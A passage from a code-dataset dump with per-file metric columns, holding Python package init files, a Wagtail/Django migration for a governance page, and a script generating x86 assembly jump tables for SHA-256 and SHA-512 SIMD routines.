verticalbalancegammamb: float = 1.30
| 42.588235
| 70
| 0.758998
| 2,236
| 25,340
| 8.601073
| 0.043381
| 0.126352
| 0.110233
| 0.019135
| 0.956219
| 0.954035
| 0.954035
| 0.954035
| 0.954035
| 0.954035
| 0
| 0.086537
| 0.174586
| 25,340
| 594
| 71
| 42.659933
| 0.832951
| 0
| 0
| 0.918149
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.05694
| 0.003559
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
74d20694a9691d59bdd5fb123c7a684301b5ddeb
| 363
|
py
|
Python
|
trainer/__init__.py
|
Neronjust2017/pytorch-classification-project
|
fc5f4d7c46d071765f682ce20e6580646d4e5c76
|
[
"MIT"
] | 1
|
2020-07-07T12:28:59.000Z
|
2020-07-07T12:28:59.000Z
|
trainer/__init__.py
|
Neronjust2017/pytorch-classification-project
|
fc5f4d7c46d071765f682ce20e6580646d4e5c76
|
[
"MIT"
] | null | null | null |
trainer/__init__.py
|
Neronjust2017/pytorch-classification-project
|
fc5f4d7c46d071765f682ce20e6580646d4e5c76
|
[
"MIT"
] | null | null | null |
from .trainer import *
from trainer.Bayes_By_Backprop.trainer import *
from trainer.Variational_dropout.trainer import *
from trainer.MC_Dropout.trainer import *
from trainer.Quality_driven_PI.trainer import *
from trainer.Deep_Ensemble.trainer import *
from trainer.Deep_Ensemble.trainer_ensemble import *
from trainer.Quality_driven_PI.trainer_ensemble import *
| 45.375
| 56
| 0.85124
| 50
| 363
| 5.94
| 0.28
| 0.296296
| 0.400673
| 0.484848
| 0.656566
| 0.505051
| 0.505051
| 0
| 0
| 0
| 0
| 0
| 0.085399
| 363
| 8
| 56
| 45.375
| 0.894578
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7421f74b651e1c735bdf1ebe304a04f9f00829de
| 13,659
|
py
|
Python
|
governance/migrations/0001_initial.py
|
IATI/new-website
|
b90783e32d19ac4c821c5ea018a52997a11b5286
|
[
"MIT"
] | 4
|
2019-03-28T06:42:17.000Z
|
2021-06-06T13:10:51.000Z
|
governance/migrations/0001_initial.py
|
IATI/new-website
|
b90783e32d19ac4c821c5ea018a52997a11b5286
|
[
"MIT"
] | 177
|
2018-09-28T14:21:56.000Z
|
2022-03-30T21:45:26.000Z
|
governance/migrations/0001_initial.py
|
IATI/new-website
|
b90783e32d19ac4c821c5ea018a52997a11b5286
|
[
"MIT"
] | 8
|
2018-10-25T20:43:10.000Z
|
2022-03-17T14:19:27.000Z
|
# Generated by Django 2.2.9 on 2020-02-27 09:22
from django.db import migrations, models
import django.db.models.deletion
import home.models
import modelcluster.fields
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.documents.blocks
import wagtail.images.blocks
class Migration(migrations.Migration):
initial = True
dependencies = [
('wagtailcore', '0041_group_collection_permissions_verbose_name_plural'),
('wagtailimages', '0001_squashed_0021'),
]
operations = [
migrations.CreateModel(
name='MembersAssemblyPage',
fields=[
('page_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='wagtailcore.Page')),
('heading', models.CharField(blank=True, max_length=255, null=True)),
('heading_en', models.CharField(blank=True, max_length=255, null=True)),
('heading_fr', models.CharField(blank=True, max_length=255, null=True)),
('heading_es', models.CharField(blank=True, max_length=255, null=True)),
('heading_pt', models.CharField(blank=True, max_length=255, null=True)),
('excerpt', models.TextField(blank=True, null=True)),
('excerpt_en', models.TextField(blank=True, null=True)),
('excerpt_fr', models.TextField(blank=True, null=True)),
('excerpt_es', models.TextField(blank=True, null=True)),
('excerpt_pt', models.TextField(blank=True, null=True)),
('content_editor', wagtail.core.fields.StreamField([('h2', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h3', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h4', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('intro', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('paragraph', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('image_figure', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock()), ('alignment', home.models.ImageAlignmentChoiceBlock()), ('caption', wagtail.core.blocks.RichTextBlock(required=False))], icon='image', label='Image figure')), ('pullquote', wagtail.core.blocks.StructBlock([('quote', wagtail.core.blocks.TextBlock('quote title'))])), ('aligned_html', wagtail.core.blocks.StructBlock([('html', wagtail.core.blocks.RawHTMLBlock()), ('alignment', home.models.HTMLAlignmentChoiceBlock())], icon='code', label='Raw HTML')), ('document_box', wagtail.core.blocks.StreamBlock([('document_box_heading', wagtail.core.blocks.CharBlock(classname='title', help_text='Only one heading per box.', icon='title', required=False)), ('document', wagtail.documents.blocks.DocumentChooserBlock(icon='doc-full-inverse', required=False))], icon='doc-full-inverse')), ('anchor_point', wagtail.core.blocks.CharBlock(help_text='Custom anchor points are expected to precede other content.', icon='order-down'))], blank=True, null=True)),
('content_editor_en', wagtail.core.fields.StreamField([('h2', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h3', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h4', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('intro', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('paragraph', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('image_figure', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock()), ('alignment', home.models.ImageAlignmentChoiceBlock()), ('caption', wagtail.core.blocks.RichTextBlock(required=False))], icon='image', label='Image figure')), ('pullquote', wagtail.core.blocks.StructBlock([('quote', wagtail.core.blocks.TextBlock('quote title'))])), ('aligned_html', wagtail.core.blocks.StructBlock([('html', wagtail.core.blocks.RawHTMLBlock()), ('alignment', home.models.HTMLAlignmentChoiceBlock())], icon='code', label='Raw HTML')), ('document_box', wagtail.core.blocks.StreamBlock([('document_box_heading', wagtail.core.blocks.CharBlock(classname='title', help_text='Only one heading per box.', icon='title', required=False)), ('document', wagtail.documents.blocks.DocumentChooserBlock(icon='doc-full-inverse', required=False))], icon='doc-full-inverse')), ('anchor_point', wagtail.core.blocks.CharBlock(help_text='Custom anchor points are expected to precede other content.', icon='order-down'))], blank=True, null=True)),
('content_editor_fr', wagtail.core.fields.StreamField([('h2', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h3', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h4', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('intro', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('paragraph', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('image_figure', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock()), ('alignment', home.models.ImageAlignmentChoiceBlock()), ('caption', wagtail.core.blocks.RichTextBlock(required=False))], icon='image', label='Image figure')), ('pullquote', wagtail.core.blocks.StructBlock([('quote', wagtail.core.blocks.TextBlock('quote title'))])), ('aligned_html', wagtail.core.blocks.StructBlock([('html', wagtail.core.blocks.RawHTMLBlock()), ('alignment', home.models.HTMLAlignmentChoiceBlock())], icon='code', label='Raw HTML')), ('document_box', wagtail.core.blocks.StreamBlock([('document_box_heading', wagtail.core.blocks.CharBlock(classname='title', help_text='Only one heading per box.', icon='title', required=False)), ('document', wagtail.documents.blocks.DocumentChooserBlock(icon='doc-full-inverse', required=False))], icon='doc-full-inverse')), ('anchor_point', wagtail.core.blocks.CharBlock(help_text='Custom anchor points are expected to precede other content.', icon='order-down'))], blank=True, null=True)),
('content_editor_es', wagtail.core.fields.StreamField([('h2', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h3', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h4', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('intro', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('paragraph', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('image_figure', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock()), ('alignment', home.models.ImageAlignmentChoiceBlock()), ('caption', wagtail.core.blocks.RichTextBlock(required=False))], icon='image', label='Image figure')), ('pullquote', wagtail.core.blocks.StructBlock([('quote', wagtail.core.blocks.TextBlock('quote title'))])), ('aligned_html', wagtail.core.blocks.StructBlock([('html', wagtail.core.blocks.RawHTMLBlock()), ('alignment', home.models.HTMLAlignmentChoiceBlock())], icon='code', label='Raw HTML')), ('document_box', wagtail.core.blocks.StreamBlock([('document_box_heading', wagtail.core.blocks.CharBlock(classname='title', help_text='Only one heading per box.', icon='title', required=False)), ('document', wagtail.documents.blocks.DocumentChooserBlock(icon='doc-full-inverse', required=False))], icon='doc-full-inverse')), ('anchor_point', wagtail.core.blocks.CharBlock(help_text='Custom anchor points are expected to precede other content.', icon='order-down'))], blank=True, null=True)),
('content_editor_pt', wagtail.core.fields.StreamField([('h2', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h3', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('h4', wagtail.core.blocks.CharBlock(classname='title', icon='title')), ('intro', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('paragraph', wagtail.core.blocks.RichTextBlock(icon='pilcrow')), ('image_figure', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock()), ('alignment', home.models.ImageAlignmentChoiceBlock()), ('caption', wagtail.core.blocks.RichTextBlock(required=False))], icon='image', label='Image figure')), ('pullquote', wagtail.core.blocks.StructBlock([('quote', wagtail.core.blocks.TextBlock('quote title'))])), ('aligned_html', wagtail.core.blocks.StructBlock([('html', wagtail.core.blocks.RawHTMLBlock()), ('alignment', home.models.HTMLAlignmentChoiceBlock())], icon='code', label='Raw HTML')), ('document_box', wagtail.core.blocks.StreamBlock([('document_box_heading', wagtail.core.blocks.CharBlock(classname='title', help_text='Only one heading per box.', icon='title', required=False)), ('document', wagtail.documents.blocks.DocumentChooserBlock(icon='doc-full-inverse', required=False))], icon='doc-full-inverse')), ('anchor_point', wagtail.core.blocks.CharBlock(help_text='Custom anchor points are expected to precede other content.', icon='order-down'))], blank=True, null=True)),
('members_title', models.CharField(help_text='Title for the members section', max_length=255)),
('members_title_en', models.CharField(help_text='Title for the members section', max_length=255, null=True)),
('members_title_fr', models.CharField(help_text='Title for the members section', max_length=255, null=True)),
('members_title_es', models.CharField(help_text='Title for the members section', max_length=255, null=True)),
('members_title_pt', models.CharField(help_text='Title for the members section', max_length=255, null=True)),
('social_media_image', models.ForeignKey(blank=True, help_text='This image will be used as the image for social media sharing cards.', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')),
],
options={
'abstract': False,
},
bases=('wagtailcore.page', models.Model),
),
migrations.CreateModel(
name='ViceChairItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sort_order', models.IntegerField(blank=True, editable=False, null=True)),
('name', models.CharField(help_text='Name of the chair', max_length=255)),
('name_en', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('name_fr', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('name_es', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('name_pt', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('bio', models.CharField(help_text='Short bio for the chair', max_length=255)),
('bio_en', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('bio_fr', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('bio_es', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('bio_pt', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('image', models.ForeignKey(blank=True, help_text='Optional: image for the chair', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')),
('item', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='vice_chair_items', to='governance.MembersAssemblyPage')),
],
options={
'ordering': ['sort_order'],
'abstract': False,
},
),
migrations.CreateModel(
name='ChairItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sort_order', models.IntegerField(blank=True, editable=False, null=True)),
('name', models.CharField(help_text='Name of the chair', max_length=255)),
('name_en', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('name_fr', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('name_es', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('name_pt', models.CharField(help_text='Name of the chair', max_length=255, null=True)),
('bio', models.CharField(help_text='Short bio for the chair', max_length=255)),
('bio_en', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('bio_fr', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('bio_es', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('bio_pt', models.CharField(help_text='Short bio for the chair', max_length=255, null=True)),
('image', models.ForeignKey(blank=True, help_text='Optional: image for the chair', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')),
('item', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='chair_items', to='governance.MembersAssemblyPage')),
],
options={
'ordering': ['sort_order'],
'abstract': False,
},
),
]
| 135.237624
| 1,461
| 0.690387
| 1,633
| 13,659
| 5.663809
| 0.100429
| 0.091577
| 0.130501
| 0.043248
| 0.917937
| 0.917072
| 0.908747
| 0.883339
| 0.883339
| 0.878581
| 0
| 0.011176
| 0.135295
| 13,659
| 100
| 1,462
| 136.59
| 0.771908
| 0.003295
| 0
| 0.494624
| 1
| 0
| 0.243241
| 0.008302
| 0.032258
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.086022
| 0
| 0.129032
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
74630291cd67b25e19204c0030608445078ef51c
| 203
|
py
|
Python
|
gensound/__init__.py
|
macrat/PyGenSound
|
579848b5eb6812226fb4afb9d634c355db9b5cc0
|
[
"MIT"
] | null | null | null |
gensound/__init__.py
|
macrat/PyGenSound
|
579848b5eb6812226fb4afb9d634c355db9b5cc0
|
[
"MIT"
] | null | null | null |
gensound/__init__.py
|
macrat/PyGenSound
|
579848b5eb6812226fb4afb9d634c355db9b5cc0
|
[
"MIT"
] | null | null | null |
""" Generate sound like a chiptune
Read an audio file or generate sound, compute it, and write to file.
"""
from gensound.sound import *
from gensound.effect import *
from gensound.exceptions import *
| 22.555556
| 68
| 0.758621
| 30
| 203
| 5.133333
| 0.666667
| 0.233766
| 0.233766
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.167488
| 203
| 8
| 69
| 25.375
| 0.911243
| 0.492611
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
778477ebb5dc23ecc443a6b8b758cdc55aa78e8f
| 11,796
|
py
|
Python
|
gen_asm_reljump.py
|
orsonteodoro/tsha
|
cdc6b5f62c9a0d9d66a9683986548ffb816accde
|
[
"MIT"
] | null | null | null |
gen_asm_reljump.py
|
orsonteodoro/tsha
|
cdc6b5f62c9a0d9d66a9683986548ffb816accde
|
[
"MIT"
] | null | null | null |
gen_asm_reljump.py
|
orsonteodoro/tsha
|
cdc6b5f62c9a0d9d66a9683986548ffb816accde
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
#
# Near Jump, Jump Table Generator for sha256b
#
# Copyright (c) 2021-2022 Orson Teodoro <orsonteodoro@hotmail.com>. All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
answer = ""
L = []
def gen_insert_W_byte_sse2_table_sha256():
global answer
line = 2000
mmi = 3
jt_label = "insert_byte_sse2_jt\\@"
for bi in range(256):
L.append(line)
if bi <= 239:
block = \
".L" + str(line) + "\\@:" \
" insert_byte " + str(bi % 16) + ",\\c,xmm" + str(int(bi / 16)) + ",xmm15\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
if bi >= 240:
if bi % 8 == 0:
mmi += 1
block = \
".L" + str(line) + "\\@:" \
" insert_byte_alt " + str(bi % 8) +",\\c,mm" + str(mmi) + ",\\gpr0q,\\gpr0l,\\gpr1q\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Insertion jump table for SSE2 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_insert_W_byte_sse4_1_table_sha512_256():
global answer
line = 2500
jt_label = "insert_byte_sse4_1_jt\\@"
for bi in range(256):
L.append(line)
block = \
".L" + str(line) + "\\@:" \
" insert_byte " + str(bi % 16) + ",\\c,xmm" + str(int(bi / 16)) + "\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Insertion jump table for SSE4.1 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_insert_W_byte_sse2_table_sha512_256():
global answer
line = 2000
mmi = 3
jt_label = "insert_byte_sse2_jt\\@"
for bi in range(256):
L.append(line)
if bi <= 239:
block = \
".L" + str(line) + "\\@:" \
" insert_byte " + str(bi % 16) + ",\\c,xmm" + str(int(bi / 16)) + ",xmm15\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
if bi >= 240:
if bi % 8 == 0:
mmi += 1
block = \
".L" + str(line) + "\\@:" \
" insert_byte_alt " + str(bi % 8) +",\\c,mm" + str(mmi) + ",\\gpr0q,\\gpr0l,\\gpr1q\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Insertion jump table for SSE2 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_insert_W_byte_sse4_1_table_sha256():
global answer
line = 2500
jt_label = "insert_byte_sse4_1_jt\\@"
for bi in range(256):
L.append(line)
block = \
".L" + str(line) + "\\@:" \
" insert_byte " + str(bi % 16) + ",\\c,xmm" + str(int(bi / 16)) + "\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Insertion jump table for SSE4.1 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_get_w_sse4_1_table_sha256():
global answer
line = 3000
jt_label = "get_w_sse4_1_jt\\@"
for wi in range(64):
L.append(line)
block = \
".L" + str(line) + "\\@:" \
" _get_w \\w," + str(wi % 4) + ",xmm" + str(int(wi / 4)) + "\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Get wi jump table for SSE4.1 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_set_w_sse4_1_table_sha256():
global answer
line = 3500
jt_label = "set_w_sse4_1_jt\\@"
for wi in range(64):
L.append(line)
block = \
".L" + str(line) + "\\@:" \
" _set_w \\w," + str(wi % 4) + ",xmm" + str(int(wi / 4)) + "\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Set wi jump table for SSE4.1 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_get_w_sse2_table_sha256():
global answer
line = 4000
mmi = 3
jt_label = "get_w_sse2_jt\\@"
for wi in range(64):
block = ""
L.append(line)
if wi <= 59:
block = \
".L" + str(line) + "\\@:" \
" _get_w \\w," + str((wi % 4)*4) + ",xmm" + str(int(wi / 4)) + ",xmm15\n" \
" jmp .Llast\\@\n"
if wi >= 60:
parity = wi % 2
if parity == 0:
mmi += 1
block = \
".L" + str(line) + "\\@:" \
" _get_w_alt_c0 \\w,mm" + str(mmi) + "\n" \
" jmp .Llast\\@\n"
else:
block = \
".L" + str(line) + "\\@:" \
" _get_w_alt_c1 \\w,mm" + str(mmi) + ",\\gpr0q,\\gpr0l\n" \
" jmp .Llast\\@\n"
answer = answer + block
line += 1
print("/* Get wi jump table for SSE2 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_set_w_sse2_table_sha256():
global answer
line = 4500
mmi = 3
jt_label = "set_w_sse2_jt\\@"
for wi in range(64):
block = ""
L.append(line)
if wi <= 59:
block = \
".L" + str(line) + "\\@:" \
" _set_w \\w," + str((wi % 4)*4) + ",xmm" + str(int(wi / 4)) + ",xmm15,\\gpr0l\n" \
" jmp .Llast\\@\n"
if wi >= 60:
parity = wi % 2
if parity == 0:
mmi += 1
block = \
".L" + str(line) + "\\@:" \
" _set_w_alt \\w,0,mm" + str(mmi) + ",\\gpr0q,\\gpr0l,\\gpr1q\n" \
" jmp .Llast\\@\n"
else:
block = \
".L" + str(line) + "\\@:" \
" _set_w_alt \\w,32,mm" + str(mmi) + ",\\gpr0q,\\gpr0l,\\gpr1q\n" \
" jmp .Llast\\@\n"
answer = answer + block
line += 1
print("/* Set wi jump table for SSE2 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
###############################################################################################
def gen_get_w_sse4_1_table_sha512_256():
global answer
line = 3000
jt_label = "get_w_sse4_1_jt\\@"
for wi in range(64):
L.append(line)
block = \
".L" + str(line) + "\\@:" \
" _get_w \\w," + str(wi % 4) + ",xmm" + str(int(wi / 4)) + "\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Get wi jump table for SSE4.1 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_set_w_sse4_1_table_sha512_256():
global answer
line = 3500
jt_label = "set_w_sse4_1_jt\\@"
for wi in range(64):
L.append(line)
block = \
".L" + str(line) + "\\@:" \
" _set_w \\w," + str(wi % 4) + ",xmm" + str(int(wi / 4)) + "\n" \
" jmp .Llast\\@\n"
line += 1
answer = answer + block
print("/* Set wi jump table for SSE4.1 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_get_w_sse2_table_sha512_256():
global answer
line = 4000
mmi = 3
jt_label = "get_w_sse2_jt\\@"
for wi in range(64):
block = ""
L.append(line)
if wi <= 59:
block = \
".L" + str(line) + "\\@:" \
" _get_w \\w," + str((wi % 4)*4) + ",xmm" + str(int(wi / 4)) + ",xmm15\n" \
" jmp .Llast\\@\n"
if wi >= 60:
parity = wi % 2
if parity == 0:
mmi += 1
block = \
".L" + str(line) + "\\@:" \
" _get_w_alt_c0 \\w,mm" + str(mmi) + "\n" \
" jmp .Llast\\@\n"
else:
block = \
".L" + str(line) + "\\@:" \
" _get_w_alt_c1 \\w,mm" + str(mmi) + ",\\gpr0q,\\gpr0l\n" \
" jmp .Llast\\@\n"
answer = answer + block
line += 1
print("/* Get wi jump table for SSE2 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def gen_set_w_sse2_table_sha512_256():
global answer
line = 4500
mmi = 3
jt_label = "set_w_sse2_jt\\@"
for wi in range(64):
block = ""
L.append(line)
if wi <= 59:
block = \
".L" + str(line) + "\\@:" \
" _set_w \\w," + str((wi % 4)*4) + ",xmm" + str(int(wi / 4)) + ",xmm15,\\gpr0l\n" \
" jmp .Llast\\@\n"
if wi >= 60:
parity = wi % 2
if parity == 0:
mmi += 1
block = \
".L" + str(line) + "\\@:" \
" _set_w_alt \\w,0,mm" + str(mmi) + ",\\gpr0q,\\gpr0l,\\gpr1q\n" \
" jmp .Llast\\@\n"
else:
block = \
".L" + str(line) + "\\@:" \
" _set_w_alt \\w,32,mm" + str(mmi) + ",\\gpr0q,\\gpr0l,\\gpr1q\n" \
" jmp .Llast\\@\n"
answer = answer + block
line += 1
print("/* Set wi jump table for SSE2 */")
print(".section .rodata")
print(".align 4")
print(jt_label + ":")
for e in L:
print(".long .L" + str(e) + "\\@-" + jt_label)
print(".long .L" + str(line) + "\\@-" + jt_label)
print(".text")
answer = answer.replace("last",str(line))
print(answer)
print(".L" + str(line) + "\\@:")
def main():
print("---")
# gen_insert_W_byte_sse4_1_table_sha256()
print("---")
# gen_insert_W_byte_sse2_table_sha256()
print("---")
# gen_insert_W_byte_sse4_1_table_sha512_256()
print("---")
gen_insert_W_byte_sse2_table_sha512_256()
print("---")
# gen_get_w_sse4_1_table_sha256()
print("---")
# gen_set_w_sse4_1_table_sha256()
print("---")
# gen_get_w_sse2_table_sha256()
print("---")
# gen_set_w_sse2_table_sha256()
print("---")
# gen_get_w_sse4_1_table_sha512_256()
print("---")
# gen_set_w_sse4_1_table_sha512_256()
print("---")
# gen_get_w_sse2_table_sha512_256()
print("---")
# gen_set_w_sse2_table_sha512_256()
if __name__ == "__main__":
main()
| 25.313305
| 95
| 0.568328
| 1,789
| 11,796
| 3.578535
| 0.100615
| 0.036239
| 0.057482
| 0.048735
| 0.848641
| 0.848641
| 0.841456
| 0.809591
| 0.779756
| 0.770384
| 0
| 0.045344
| 0.196083
| 11,796
| 465
| 96
| 25.367742
| 0.629759
| 0.131909
| 0
| 0.952632
| 0
| 0
| 0.262315
| 0.02453
| 0
| 0
| 0
| 0
| 0
| 1
| 0.034211
| false
| 0
| 0
| 0
| 0.034211
| 0.315789
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
77a12546de7cfffdc8d153de11c36b5025cade21
| 9,483
|
py
|
Python
|
terrascript/alicloud/r.py
|
vutsalsinghal/python-terrascript
|
